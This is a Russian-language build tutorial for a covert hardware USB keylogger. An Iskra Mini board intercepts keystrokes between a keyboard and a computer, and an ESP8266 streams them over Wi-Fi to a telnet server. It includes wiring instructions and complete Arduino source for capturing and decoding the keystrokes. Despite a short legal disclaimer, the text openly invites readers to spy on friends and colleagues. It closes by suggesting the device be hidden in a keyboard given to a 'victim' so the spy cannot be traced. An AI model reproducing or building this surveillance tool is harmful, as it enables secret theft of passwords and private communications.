Клавиатурный шпион на ESP8266
- Платформы: Iskra Mini, ESP8266
- Языки программирования: Arduino (C++)
- Тэги: Iskra Mini, ESP8266, USB Keylogger, перехват нажатий клавиш, USB клавиатура.
Что это?
Хотелось ли вам когда нибудь пошпионить за вашим другом, соседом или коллегой по работе? Узнать что он или она так внимательно печатает и почему из за этого радуется или наоборот нервничает. Теперь это возможно с помощью клавиатурного шпиона. Суть его довольна проста: он перехватывает данные с USB-клавиатуры и раздаёт их по Wi-Fi. Всё что надо сделать это подключить его между клавиатурой и компьютером. А потом зайти на созданный сервер и шпионить.
Статья носит образовательный характер и демонстрирует возможность беспроводной передачи данных с использованием Wi-Fi модуля. Описанное в качестве примера устройство не производится и не продается компанией Амперка.
Вы не можете использовать подобное устройство для негласного сбора данных в соответствии со статьёй 138 УК РФ.
Что нам понадобится?
- USB-Serial адаптер для прошивки платы Iskra Mini и ESP8266
- Клеммник нажимной 2 шт.
- Резисторы 220 Ом 1 шт., 1 кОм 1 шт., 10 кОм 3 шт.
- Breadboard Half для прототипирования устройства
- Макетная плата Perfboard (460 точек) для сборки прототипа в готовое устройство
- Удлинитель USB «мама-папа»
Настройка и прошивка платы ESP8266
ESP8266 — это непросто WI-FI шилд, это высоко интегрированный микроконтроллер со своим набором интерфейсов.
С базовой прошивкой плата ESP8266 используется в виде моста UART ↔ WIFI и управляется с помощью AT-команд. В нашем проекте такая прошивка не имеет смысла, так как модуль сам независимо может работать без дополнительных микроконтроллеров, если в него загрузить другую прошивку. Прошить модуль можно с помощью USB-Serial адаптера. Подробное описание, как это сделать, мы оформили в отдельную статью.
Загрузка скетча
Модуль ESP8266 будет создавать TCP-сервер и передавать на него данные о нажатых клавишах клавиатуры, полученные через Serial соединение с платой Iskra Mini. Реализацию такого моста вы можете найти среди стандартных примеров из библиотеки ESP8266.
Для этого зайдите в меню:
и загрузите в плату ESP8266 открывшийся скетч, предварительно указав вместо звёздочек имя и пароль Wi-Fi сети, к которой необходимо подключиться нашей ESP-шке.const char* ssid = "**********"; const char* password = "**********";
При прошивке на плате ESP8266 будет мигать синий светодиод. Плата прошита теперь можно приступать к сборке устройства.
Как собрать?
- Используя руководство по плате Iskra Mini прошейте её скетчем приведённым ниже.
- Прошейте плату ESP8266 используя инструкцию написанную выше.
- Установите плату Iskra Mini на Breadboard.
- Линии питания и земли платформы Iskra Mini соедините с помощью проводов «папа-папа» с верхними рельсами питания и земли макетной платы, по ним будет идти напряжение 5 вольт. Соедините верхнюю и нижнюю рельсу земли макетной платы проводом «папа-папа».
- Так как плата ESP8266 работает строго от 3,3 вольт, соберём регулятор напряжения на основе микросхемы LM317 и подключим его выход
Vout
к нижним рельсам питания и земли макетной платы. Для этого соберите схему приведенную ниже, где:LM317
регулятор напряжения;C1
керамический конденсатор 100 нФ;С2
электролитический конденсатор 10 мкФ;R1
резистор 220 Ом;R2
потенциометр 10 кОм;Vin
входное напряжение 5 вольт;Vout
выходное регулируемое напряжение.
- Подключите напряжение 5 вольт к верхним рельсам питания и земли. С помощью мультиметра и потенциометра отрегулируйте выходное напряжения на 3,3 вольта.
- Возьмите плату ESP8266 и с помощью проводов «мама-папа» соедините пины
VCC
иGND
с нижними рельсами питания 3,3 В и земли макетной платы. - Управляющий пины
TX
иRX
платформы Iskra Mini соедините с пинамиRX
иTX
платы ESP8266, причём пинTX
платформы Iskra Mini соедините с платой ESP8266 через резисторный делитель напряжения, чтобы своим высоким сигналом не спалить ESP8266. - С помощью проводов «мама-папа» подтяните пины
CH_PD
,RST
иGPIO
платы ESP8266 к питанию+3.3 В
через резисторы 10 кОм. - Возьмите USB удлинитель «мама-папа» и разрежьте его пополам. Далее зачистите с обеих сторон все его контакты и соедините их с макетной платой через 2 заранее установленных клеммника.
- Воспользовавшись цветовой маркировкой USB соедините контакты USB удлинителя через клеммник следующим образом:
- красный провод
+5V
— питание верхней рельсы макетной платы; - чёрный провод
GND
— земля макетной платы; - жёлтый провод
D+
— к цифровому пину2
платы Iskra Mini; - белый провод
D−
— к цифровому пину4
платы Iskra Mini;В итоге получилась схема, приведенная ниже.
- Перенесём готовое устройство на Perfboard для устойчивости и компактности.
- В заключении установим кейлогер в удобный и компактный корпус.
Алгоритм
- Сразу после подачи питания настраиваем пин платы Iskra Mini, к которому подключен сигнал
D+
, на прерывание по восходящему фронту. - Как только прерывание сработает, запишем все входящие данные в массив.
- Среди пришедших данных вычленяем 2 скан-кода — байта:
- первый несёт информацию о нажатии модификационных клавиш, в нашем случае нас интересует
Shift
; - второй несёт информацию о значении нажатой клавиши.
- Декодируем скан-код нажатой клавиши в соответствии с таблицей скан-кодов в зависимости от того нажата ли была клавиша
Shift
. - Выводим нажатую клавишу в Serial-порт.
- Плата ESP8266 считывает все пришедшие данные со своего Serial-порта и выводит их в заранее созданный TCP-сервер.
Исходный код
- keylogger.ino
#include <avr/io.h> #include <avr/interrupt.h> #include <avr/wdt.h> #include <avr/pgmspace.h> // библиотека для работы с протоколом USB #include <usbdrv.h> // библиотека для работы с Serial-портом #include <uart.h> // PID 8 бит идентификатор // ADDR 7 бит адрес устройства // Endpoint 4 бита номер конечной точки // CRC 5 бит контрольная сумма // итого 3 байта #define IN_SIZE 3 // PID 8 бит идентификатор // DATA 64 бита данные // CRC 16 бит контрольная сумма // итого 11 байт #define USB_BUFSIZE 11 // количество принятых пакетов хранимых в памяти // должно быть четным и соблюдаться условие // (IN_SIZE + USB_BUFSIZE)*FIFO_BUF_SIZE < 255 #define FIFO_BUF_SIZE 10 // RX буфер: 3 байта запроса IN + 11 байт данных DATAx unsigned char usbRxBuf[USB_BUFSIZE]; unsigned char FIFOBuf[(IN_SIZE+USB_BUFSIZE)*FIFO_BUF_SIZE]; // номер текущей записываемой пары IN-DATA (0-FIFO_BUF) unsigned char CurWritePos = 0; // номер текущей прочитываемой пары IN-DATA (0-FIFO_BUF) unsigned char CurReadPos = 0; // массив символов для декодирования скан-кодов при не нажатой клавиши Shift unsigned char masskey[] = "abcdefghijklmnopqrstuvwxyz1234567890-=[]\\X;'`,./"; // массив символов для декодирования скан-кодов при зажатой клавиши Shift unsigned char masskeyShift[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ!@#$%^&*()_+{}|X:\"~<>?"; void setup() { // открываем последовательный порт Serial.begin(115200); // настраиваем прерывание usbInit(); // печатаем о готовности устройства Serial.print("UART init complet"); // разрешаем прерывания sei(); } void loop() { // если сработало прерывание // то переменная CurWritePos изменит своё значение if (CurWritePos != CurReadPos) { // вызываем функцию printResult printResult(FIFOBuf + CurReadPos*(USB_BUFSIZE+IN_SIZE) + IN_SIZE, USB_BUFSIZE); CurReadPos++; if (CurReadPos >= FIFO_BUF_SIZE) { CurReadPos = 0; } } } void printResult(uchar *datakey, uchar len) { bool shift = 0; // если во время очередного нажатия на клавишу // была нажата кнопка Shift if ((*(datakey + 1) == 0x2) || (*(datakey + 1) == 0x20)) shift = 1; else shift = 0; // если 4 или 3 байт из массива данных пришёл не нулевой // значит нажата одна из клавиш if (*(datakey + 4) != 0) { // вызываем функцию печати 2-го символа printKey(*(datakey + 4), shift); } else if (*(datakey + 3) != 0) { // вызываем функцию печати 1-го символа printKey(*(datakey + 3), shift); } } void printKey(uchar key, bool shift) { // если нажата одна из клавиш английского алфавита if (key >= 0x4 && key <= 0x27) { // если нажат Shift декодируем скан-коды как заглавные буквы if (shift == 1) { Serial.write(masskeyShift[key-4]); } else { // если нет декодируем скан-коды как строчные буквы Serial.write(masskey[key-4]); } } else if (key == 0x28) { // если пришел скан-код клавиши Enter Serial.print("\r\n"); } else if (key == 0x2B) { // если пришел скан-код клавиши Tab Serial.print("\t"); } else if (key == 0x2C) { // если пришел скан-код клавиши Space Serial.print(" "); } else if (key >= 0x2d && key <= 0x38) { // если пришел сканд-код из знаков пунктуации if (shift == 1) Serial.write(masskeyShift[key - 9]); else Serial.write(masskey[key - 9]); } else { // если пришёл скан-код которого мы не знаем // печатаем его без декодирования printHex(key); } }
Так как данные передается на очень высокой скорости, то для его захвата и анализа используются ассемблерные вставки, которые подключаются с помощью библиотеки V-USB, которая в своем составе содержит функции приема и обработки USB сигнала.
Подключения к шпиону
Данные захваченные с USB-шины и отправленные на TCP-сервер можно посмотреть любой терминальной программой поддерживающей сетевой протокол TELNET.
Поиск IP-адреса
Для подключения к модулю ESP8266 необходимо знать IP-адрес платы в локальной сети.
- Скачайте и установите на компьютер утилиту Advanced IP Scanner для сканирования всех устройств в локальной сети.
- Запустите программу Advanced IP Scanner.
- Настройте диапазон поиска адресов для вашей сети и нажмите кнопку «Сканировать»
- В списке найдите устройство от «Espressif Inc.»: в данном случае плата получает IP-адрес
192.168.88.171
, запоминаем его.
При динамической адресации (DHCP) маршрутизатор может менять IP-адрес при каждом включении платы. В таком случае вам каждый раз придётся повторять поиск IP-адреса.
Подключение к серверу
- Запустите PuTTY.
- В поле
IP address
введите полученный ранее IP нашего шпиона, а в окнеPort
впишите23
. - В окне
Connection type
выберите чекбоксTelnet
. - Смело жмите кнопку
Open
.
Демонстрация работы устройства
Что дальше?
В нашем проекте устройство вынесено наружу. Если хотите получить полный шпионаж, подарите своей будущей жертве клавиатуру с уже встроенным устройством и тогда уже никто не сможет вас вычислить.
В обработки пришедших байтов мы считываем только одну нажатую в данный момент клавишу. Это можно исправить добавив некоторые изменения в скетч и вычислять до 5 нажатых одновременно клавиш.